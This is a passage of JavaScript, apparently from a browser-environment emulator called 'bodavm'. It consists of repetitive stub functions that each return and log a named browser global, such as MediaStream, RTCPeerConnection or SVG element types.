console.log_copy(`window_KeyframeEffect`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_LargestContentfulPaint = function () { let arg = bodavm.memory.globalobj['LargestContentfulPaint']; console.log_copy(`window_LargestContentfulPaint`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_LayoutShift = function () { let arg = bodavm.memory.globalobj['LayoutShift']; console.log_copy(`window_LayoutShift`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_LayoutShiftAttribution = function () { let arg = bodavm.memory.globalobj['LayoutShiftAttribution']; console.log_copy(`window_LayoutShiftAttribution`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaCapabilities = function () { let arg = bodavm.memory.globalobj['MediaCapabilities']; console.log_copy(`window_MediaCapabilities`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaElementAudioSourceNode = function () { let arg = bodavm.memory.globalobj['MediaElementAudioSourceNode']; console.log_copy(`window_MediaElementAudioSourceNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaEncryptedEvent = function () { let arg = bodavm.memory.globalobj['MediaEncryptedEvent']; console.log_copy(`window_MediaEncryptedEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaError = function () { let arg = bodavm.memory.globalobj['MediaError']; console.log_copy(`window_MediaError`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaList = function () { let arg = bodavm.memory.globalobj['MediaList']; console.log_copy(`window_MediaList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaQueryList = function () { let arg = bodavm.memory.globalobj['MediaQueryList']; console.log_copy(`window_MediaQueryList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaQueryListEvent = function () { let arg = bodavm.memory.globalobj['MediaQueryListEvent']; console.log_copy(`window_MediaQueryListEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaRecorder = function () { let arg = bodavm.memory.globalobj['MediaRecorder']; console.log_copy(`window_MediaRecorder`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaStream = function () { let arg = bodavm.memory.globalobj['MediaStream']; console.log_copy(`window_MediaStream`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaStreamAudioDestinationNode = function () { let arg = bodavm.memory.globalobj['MediaStreamAudioDestinationNode']; console.log_copy(`window_MediaStreamAudioDestinationNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaStreamAudioSourceNode = function () { let arg = bodavm.memory.globalobj['MediaStreamAudioSourceNode']; console.log_copy(`window_MediaStreamAudioSourceNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaStreamEvent = function () { let arg = bodavm.memory.globalobj['MediaStreamEvent']; console.log_copy(`window_MediaStreamEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MediaStreamTrackEvent = function () { let arg = bodavm.memory.globalobj['MediaStreamTrackEvent']; console.log_copy(`window_MediaStreamTrackEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MessageChannel = function () { let arg = bodavm.memory.globalobj['MessageChannel']; console.log_copy(`window_MessageChannel`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MessageEvent = function () { let arg = bodavm.memory.globalobj['MessageEvent']; console.log_copy(`window_MessageEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MessagePort = function () { let arg = bodavm.memory.globalobj['MessagePort']; console.log_copy(`window_MessagePort`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MimeType = function () { let arg = bodavm.memory.globalobj['MimeType']; console.log_copy(`window_MimeType`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MimeTypeArray = function () { let arg = bodavm.memory.globalobj['MimeTypeArray']; console.log_copy(`window_MimeTypeArray`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MouseEvent = function () { let arg = bodavm.memory.globalobj['MouseEvent']; console.log_copy(`window_MouseEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MutationEvent = function () { let arg = bodavm.memory.globalobj['MutationEvent']; console.log_copy(`window_MutationEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_MutationRecord = function () { let arg = bodavm.memory.globalobj['MutationRecord']; console.log_copy(`window_MutationRecord`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_NamedNodeMap = function () { let arg = bodavm.memory.globalobj['NamedNodeMap']; console.log_copy(`window_NamedNodeMap`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_NetworkInformation = function () { let arg = bodavm.memory.globalobj['NetworkInformation']; console.log_copy(`window_NetworkInformation`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Node = function () { let arg = bodavm.memory.globalobj['Node']; console.log_copy(`window_Node`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_NodeFilter = function () { let arg = bodavm.memory.globalobj['NodeFilter']; console.log_copy(`window_NodeFilter`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_NodeIterator = function () { let arg = bodavm.memory.globalobj['NodeIterator']; console.log_copy(`window_NodeIterator`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_NodeList = function () { let arg = bodavm.memory.globalobj['NodeList']; console.log_copy(`window_NodeList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_OfflineAudioCompletionEvent = function () { let arg = bodavm.memory.globalobj['OfflineAudioCompletionEvent']; console.log_copy(`window_OfflineAudioCompletionEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_OfflineAudioContext = function () { let arg = bodavm.memory.globalobj['OfflineAudioContext']; console.log_copy(`window_OfflineAudioContext`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_OffscreenCanvas = function () { let arg = bodavm.memory.globalobj['OffscreenCanvas']; console.log_copy(`window_OffscreenCanvas`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_OffscreenCanvasRenderingContext2D = function () { let arg = bodavm.memory.globalobj['OffscreenCanvasRenderingContext2D']; console.log_copy(`window_OffscreenCanvasRenderingContext2D`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_OscillatorNode = function () { let arg = bodavm.memory.globalobj['OscillatorNode']; console.log_copy(`window_OscillatorNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_OverconstrainedError = function () { let arg = bodavm.memory.globalobj['OverconstrainedError']; console.log_copy(`window_OverconstrainedError`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PageTransitionEvent = function () { let arg = bodavm.memory.globalobj['PageTransitionEvent']; console.log_copy(`window_PageTransitionEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PannerNode = function () { let arg = bodavm.memory.globalobj['PannerNode']; console.log_copy(`window_PannerNode`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Path2D = function () { let arg = bodavm.memory.globalobj['Path2D']; console.log_copy(`window_Path2D`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PerformanceElementTiming = function () { let arg = bodavm.memory.globalobj['PerformanceElementTiming']; console.log_copy(`window_PerformanceElementTiming`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PerformanceEntry = function () { let arg = bodavm.memory.globalobj['PerformanceEntry']; console.log_copy(`window_PerformanceEntry`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PerformanceEventTiming = function () { let arg = bodavm.memory.globalobj['PerformanceEventTiming']; console.log_copy(`window_PerformanceEventTiming`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PerformanceLongTaskTiming = function () { let arg = bodavm.memory.globalobj['PerformanceLongTaskTiming']; console.log_copy(`window_PerformanceLongTaskTiming`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PerformanceMark = function () { let arg = bodavm.memory.globalobj['PerformanceMark']; console.log_copy(`window_PerformanceMark`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PerformanceMeasure = function () { let arg = bodavm.memory.globalobj['PerformanceMeasure']; console.log_copy(`window_PerformanceMeasure`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PerformanceNavigation = function () { let arg = bodavm.memory.globalobj['PerformanceNavigation']; console.log_copy(`window_PerformanceNavigation`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PerformanceNavigationTiming = function () { let arg = bodavm.memory.globalobj['PerformanceNavigationTiming']; console.log_copy(`window_PerformanceNavigationTiming`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PerformanceObserver = function () { let arg = bodavm.memory.globalobj['PerformanceObserver']; console.log_copy(`window_PerformanceObserver`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PerformanceObserverEntryList = function () { let arg = bodavm.memory.globalobj['PerformanceObserverEntryList']; console.log_copy(`window_PerformanceObserverEntryList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PerformancePaintTiming = function () { let arg = bodavm.memory.globalobj['PerformancePaintTiming']; console.log_copy(`window_PerformancePaintTiming`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PerformanceResourceTiming = function () { let arg = bodavm.memory.globalobj['PerformanceResourceTiming']; console.log_copy(`window_PerformanceResourceTiming`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PerformanceServerTiming = function () { let arg = bodavm.memory.globalobj['PerformanceServerTiming']; console.log_copy(`window_PerformanceServerTiming`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PerformanceTiming = function () { let arg = bodavm.memory.globalobj['PerformanceTiming']; console.log_copy(`window_PerformanceTiming`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PeriodicWave = function () { let arg = bodavm.memory.globalobj['PeriodicWave']; console.log_copy(`window_PeriodicWave`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Plugin = function () { let arg = bodavm.memory.globalobj['Plugin']; console.log_copy(`window_Plugin`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PluginArray = function () { let arg = bodavm.memory.globalobj['PluginArray']; console.log_copy(`window_PluginArray`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PointerEvent = function () { let arg = bodavm.memory.globalobj['PointerEvent']; console.log_copy(`window_PointerEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PopStateEvent = function () { let arg = bodavm.memory.globalobj['PopStateEvent']; console.log_copy(`window_PopStateEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ProcessingInstruction = function () { let arg = bodavm.memory.globalobj['ProcessingInstruction']; console.log_copy(`window_ProcessingInstruction`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ProgressEvent = function () { let arg = bodavm.memory.globalobj['ProgressEvent']; console.log_copy(`window_ProgressEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_PromiseRejectionEvent = function () { let arg = bodavm.memory.globalobj['PromiseRejectionEvent']; console.log_copy(`window_PromiseRejectionEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCCertificate = function () { let arg = bodavm.memory.globalobj['RTCCertificate']; console.log_copy(`window_RTCCertificate`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCDTMFSender = function () { let arg = bodavm.memory.globalobj['RTCDTMFSender']; console.log_copy(`window_RTCDTMFSender`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCDTMFToneChangeEvent = function () { let arg = bodavm.memory.globalobj['RTCDTMFToneChangeEvent']; console.log_copy(`window_RTCDTMFToneChangeEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCDataChannel = function () { let arg = bodavm.memory.globalobj['RTCDataChannel']; console.log_copy(`window_RTCDataChannel`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCDataChannelEvent = function () { let arg = bodavm.memory.globalobj['RTCDataChannelEvent']; console.log_copy(`window_RTCDataChannelEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCDtlsTransport = function () { let arg = bodavm.memory.globalobj['RTCDtlsTransport']; console.log_copy(`window_RTCDtlsTransport`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCEncodedAudioFrame = function () { let arg = bodavm.memory.globalobj['RTCEncodedAudioFrame']; console.log_copy(`window_RTCEncodedAudioFrame`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCEncodedVideoFrame = function () { let arg = bodavm.memory.globalobj['RTCEncodedVideoFrame']; console.log_copy(`window_RTCEncodedVideoFrame`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCError = function () { let arg = bodavm.memory.globalobj['RTCError']; console.log_copy(`window_RTCError`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCErrorEvent = function () { let arg = bodavm.memory.globalobj['RTCErrorEvent']; console.log_copy(`window_RTCErrorEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCIceCandidate = function () { let arg = bodavm.memory.globalobj['RTCIceCandidate']; console.log_copy(`window_RTCIceCandidate`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCPeerConnection = function () { let arg = bodavm.memory.globalobj['RTCPeerConnection']; console.log_copy(`window_RTCPeerConnection`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCPeerConnectionIceErrorEvent = function () { let arg = bodavm.memory.globalobj['RTCPeerConnectionIceErrorEvent']; console.log_copy(`window_RTCPeerConnectionIceErrorEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCPeerConnectionIceEvent = function () { let arg = bodavm.memory.globalobj['RTCPeerConnectionIceEvent']; console.log_copy(`window_RTCPeerConnectionIceEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCRtpReceiver = function () { let arg = bodavm.memory.globalobj['RTCRtpReceiver']; console.log_copy(`window_RTCRtpReceiver`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCRtpSender = function () { let arg = bodavm.memory.globalobj['RTCRtpSender']; console.log_copy(`window_RTCRtpSender`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCRtpTransceiver = function () { let arg = bodavm.memory.globalobj['RTCRtpTransceiver']; console.log_copy(`window_RTCRtpTransceiver`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCSctpTransport = function () { let arg = bodavm.memory.globalobj['RTCSctpTransport']; console.log_copy(`window_RTCSctpTransport`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCSessionDescription = function () { let arg = bodavm.memory.globalobj['RTCSessionDescription']; console.log_copy(`window_RTCSessionDescription`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCStatsReport = function () { let arg = bodavm.memory.globalobj['RTCStatsReport']; console.log_copy(`window_RTCStatsReport`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RTCTrackEvent = function () { let arg = bodavm.memory.globalobj['RTCTrackEvent']; console.log_copy(`window_RTCTrackEvent`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_RadioNodeList = function () { let arg = bodavm.memory.globalobj['RadioNodeList']; console.log_copy(`window_RadioNodeList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Range = function () { let arg = bodavm.memory.globalobj['Range']; console.log_copy(`window_Range`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ReadableByteStreamController = function () { let arg = bodavm.memory.globalobj['ReadableByteStreamController']; console.log_copy(`window_ReadableByteStreamController`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ReadableStream = function () { let arg = bodavm.memory.globalobj['ReadableStream']; console.log_copy(`window_ReadableStream`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ReadableStreamBYOBReader = function () { let arg = bodavm.memory.globalobj['ReadableStreamBYOBReader']; console.log_copy(`window_ReadableStreamBYOBReader`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ReadableStreamBYOBRequest = function () { let arg = bodavm.memory.globalobj['ReadableStreamBYOBRequest']; console.log_copy(`window_ReadableStreamBYOBRequest`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ReadableStreamDefaultController = function () { let arg = bodavm.memory.globalobj['ReadableStreamDefaultController']; console.log_copy(`window_ReadableStreamDefaultController`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ReadableStreamDefaultReader = function () { let arg = bodavm.memory.globalobj['ReadableStreamDefaultReader']; console.log_copy(`window_ReadableStreamDefaultReader`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ReportingObserver = function () { let arg = bodavm.memory.globalobj['ReportingObserver']; console.log_copy(`window_ReportingObserver`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Request = function () { let arg = bodavm.memory.globalobj['Request']; console.log_copy(`window_Request`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ResizeObserver = function () { let arg = bodavm.memory.globalobj['ResizeObserver']; console.log_copy(`window_ResizeObserver`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ResizeObserverEntry = function () { let arg = bodavm.memory.globalobj['ResizeObserverEntry']; console.log_copy(`window_ResizeObserverEntry`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_ResizeObserverSize = function () { let arg = bodavm.memory.globalobj['ResizeObserverSize']; console.log_copy(`window_ResizeObserverSize`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_Response = function () { let arg = bodavm.memory.globalobj['Response']; console.log_copy(`window_Response`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGAElement = function () { let arg = bodavm.memory.globalobj['SVGAElement']; console.log_copy(`window_SVGAElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGAngle = function () { let arg = bodavm.memory.globalobj['SVGAngle']; console.log_copy(`window_SVGAngle`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGAnimateElement = function () { let arg = bodavm.memory.globalobj['SVGAnimateElement']; console.log_copy(`window_SVGAnimateElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGAnimateMotionElement = function () { let arg = bodavm.memory.globalobj['SVGAnimateMotionElement']; console.log_copy(`window_SVGAnimateMotionElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGAnimateTransformElement = function () { let arg = bodavm.memory.globalobj['SVGAnimateTransformElement']; console.log_copy(`window_SVGAnimateTransformElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGAnimatedAngle = function () { let arg = bodavm.memory.globalobj['SVGAnimatedAngle']; console.log_copy(`window_SVGAnimatedAngle`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGAnimatedBoolean = function () { let arg = bodavm.memory.globalobj['SVGAnimatedBoolean']; console.log_copy(`window_SVGAnimatedBoolean`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGAnimatedEnumeration = function () { let arg = bodavm.memory.globalobj['SVGAnimatedEnumeration']; console.log_copy(`window_SVGAnimatedEnumeration`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGAnimatedInteger = function () { let arg = bodavm.memory.globalobj['SVGAnimatedInteger']; console.log_copy(`window_SVGAnimatedInteger`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGAnimatedLength = function () { let arg = bodavm.memory.globalobj['SVGAnimatedLength']; console.log_copy(`window_SVGAnimatedLength`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGAnimatedLengthList = function () { let arg = bodavm.memory.globalobj['SVGAnimatedLengthList']; console.log_copy(`window_SVGAnimatedLengthList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGAnimatedNumber = function () { let arg = bodavm.memory.globalobj['SVGAnimatedNumber']; console.log_copy(`window_SVGAnimatedNumber`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGAnimatedNumberList = function () { let arg = bodavm.memory.globalobj['SVGAnimatedNumberList']; console.log_copy(`window_SVGAnimatedNumberList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGAnimatedPreserveAspectRatio = function () { let arg = bodavm.memory.globalobj['SVGAnimatedPreserveAspectRatio']; console.log_copy(`window_SVGAnimatedPreserveAspectRatio`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGAnimatedRect = function () { let arg = bodavm.memory.globalobj['SVGAnimatedRect']; console.log_copy(`window_SVGAnimatedRect`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGAnimatedString = function () { let arg = bodavm.memory.globalobj['SVGAnimatedString']; console.log_copy(`window_SVGAnimatedString`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGAnimatedTransformList = function () { let arg = bodavm.memory.globalobj['SVGAnimatedTransformList']; console.log_copy(`window_SVGAnimatedTransformList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGAnimationElement = function () { let arg = bodavm.memory.globalobj['SVGAnimationElement']; console.log_copy(`window_SVGAnimationElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGCircleElement = function () { let arg = bodavm.memory.globalobj['SVGCircleElement']; console.log_copy(`window_SVGCircleElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGClipPathElement = function () { let arg = bodavm.memory.globalobj['SVGClipPathElement']; console.log_copy(`window_SVGClipPathElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGComponentTransferFunctionElement = function () { let arg = bodavm.memory.globalobj['SVGComponentTransferFunctionElement']; console.log_copy(`window_SVGComponentTransferFunctionElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGDefsElement = function () { let arg = bodavm.memory.globalobj['SVGDefsElement']; console.log_copy(`window_SVGDefsElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGDescElement = function () { let arg = bodavm.memory.globalobj['SVGDescElement']; console.log_copy(`window_SVGDescElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGElement = function () { let arg = bodavm.memory.globalobj['SVGElement']; console.log_copy(`window_SVGElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGEllipseElement = function () { let arg = bodavm.memory.globalobj['SVGEllipseElement']; console.log_copy(`window_SVGEllipseElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEBlendElement = function () { let arg = bodavm.memory.globalobj['SVGFEBlendElement']; console.log_copy(`window_SVGFEBlendElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEColorMatrixElement = function () { let arg = bodavm.memory.globalobj['SVGFEColorMatrixElement']; console.log_copy(`window_SVGFEColorMatrixElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEComponentTransferElement = function () { let arg = bodavm.memory.globalobj['SVGFEComponentTransferElement']; console.log_copy(`window_SVGFEComponentTransferElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFECompositeElement = function () { let arg = bodavm.memory.globalobj['SVGFECompositeElement']; console.log_copy(`window_SVGFECompositeElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEConvolveMatrixElement = function () { let arg = bodavm.memory.globalobj['SVGFEConvolveMatrixElement']; console.log_copy(`window_SVGFEConvolveMatrixElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEDiffuseLightingElement = function () { let arg = bodavm.memory.globalobj['SVGFEDiffuseLightingElement']; console.log_copy(`window_SVGFEDiffuseLightingElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEDisplacementMapElement = function () { let arg = bodavm.memory.globalobj['SVGFEDisplacementMapElement']; console.log_copy(`window_SVGFEDisplacementMapElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEDistantLightElement = function () { let arg = bodavm.memory.globalobj['SVGFEDistantLightElement']; console.log_copy(`window_SVGFEDistantLightElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEDropShadowElement = function () { let arg = bodavm.memory.globalobj['SVGFEDropShadowElement']; console.log_copy(`window_SVGFEDropShadowElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEFloodElement = function () { let arg = bodavm.memory.globalobj['SVGFEFloodElement']; console.log_copy(`window_SVGFEFloodElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEFuncAElement = function () { let arg = bodavm.memory.globalobj['SVGFEFuncAElement']; console.log_copy(`window_SVGFEFuncAElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEFuncBElement = function () { let arg = bodavm.memory.globalobj['SVGFEFuncBElement']; console.log_copy(`window_SVGFEFuncBElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEFuncGElement = function () { let arg = bodavm.memory.globalobj['SVGFEFuncGElement']; console.log_copy(`window_SVGFEFuncGElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEFuncRElement = function () { let arg = bodavm.memory.globalobj['SVGFEFuncRElement']; console.log_copy(`window_SVGFEFuncRElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEGaussianBlurElement = function () { let arg = bodavm.memory.globalobj['SVGFEGaussianBlurElement']; console.log_copy(`window_SVGFEGaussianBlurElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEImageElement = function () { let arg = bodavm.memory.globalobj['SVGFEImageElement']; console.log_copy(`window_SVGFEImageElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEMergeElement = function () { let arg = bodavm.memory.globalobj['SVGFEMergeElement']; console.log_copy(`window_SVGFEMergeElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEMergeNodeElement = function () { let arg = bodavm.memory.globalobj['SVGFEMergeNodeElement']; console.log_copy(`window_SVGFEMergeNodeElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEMorphologyElement = function () { let arg = bodavm.memory.globalobj['SVGFEMorphologyElement']; console.log_copy(`window_SVGFEMorphologyElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEOffsetElement = function () { let arg = bodavm.memory.globalobj['SVGFEOffsetElement']; console.log_copy(`window_SVGFEOffsetElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFEPointLightElement = function () { let arg = bodavm.memory.globalobj['SVGFEPointLightElement']; console.log_copy(`window_SVGFEPointLightElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFESpecularLightingElement = function () { let arg = bodavm.memory.globalobj['SVGFESpecularLightingElement']; console.log_copy(`window_SVGFESpecularLightingElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFESpotLightElement = function () { let arg = bodavm.memory.globalobj['SVGFESpotLightElement']; console.log_copy(`window_SVGFESpotLightElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFETileElement = function () { let arg = bodavm.memory.globalobj['SVGFETileElement']; console.log_copy(`window_SVGFETileElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFETurbulenceElement = function () { let arg = bodavm.memory.globalobj['SVGFETurbulenceElement']; console.log_copy(`window_SVGFETurbulenceElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGFilterElement = function () { let arg = bodavm.memory.globalobj['SVGFilterElement']; console.log_copy(`window_SVGFilterElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGForeignObjectElement = function () { let arg = bodavm.memory.globalobj['SVGForeignObjectElement']; console.log_copy(`window_SVGForeignObjectElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGGElement = function () { let arg = bodavm.memory.globalobj['SVGGElement']; console.log_copy(`window_SVGGElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGGeometryElement = function () { let arg = bodavm.memory.globalobj['SVGGeometryElement']; console.log_copy(`window_SVGGeometryElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGGradientElement = function () { let arg = bodavm.memory.globalobj['SVGGradientElement']; console.log_copy(`window_SVGGradientElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGGraphicsElement = function () { let arg = bodavm.memory.globalobj['SVGGraphicsElement']; console.log_copy(`window_SVGGraphicsElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGImageElement = function () { let arg = bodavm.memory.globalobj['SVGImageElement']; console.log_copy(`window_SVGImageElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGLength = function () { let arg = bodavm.memory.globalobj['SVGLength']; console.log_copy(`window_SVGLength`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGLengthList = function () { let arg = bodavm.memory.globalobj['SVGLengthList']; console.log_copy(`window_SVGLengthList`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGLineElement = function () { let arg = bodavm.memory.globalobj['SVGLineElement']; console.log_copy(`window_SVGLineElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGLinearGradientElement = function () { let arg = bodavm.memory.globalobj['SVGLinearGradientElement']; console.log_copy(`window_SVGLinearGradientElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGMPathElement = function () { let arg = bodavm.memory.globalobj['SVGMPathElement']; console.log_copy(`window_SVGMPathElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGMarkerElement = function () { let arg = bodavm.memory.globalobj['SVGMarkerElement']; console.log_copy(`window_SVGMarkerElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGMaskElement = function () { let arg = bodavm.memory.globalobj['SVGMaskElement']; console.log_copy(`window_SVGMaskElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGMatrix = function () { let arg = bodavm.memory.globalobj['SVGMatrix']; console.log_copy(`window_SVGMatrix`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGMetadataElement = function () { let arg = bodavm.memory.globalobj['SVGMetadataElement']; console.log_copy(`window_SVGMetadataElement`, `-> res ->${arg}`); return arg } + bodavm.envFunc.window_SVGNumber = function () { let arg = bodavm.memory.globalobj['SVGNumber']; console.log_copy(`window_SVGNumber`, `-> res 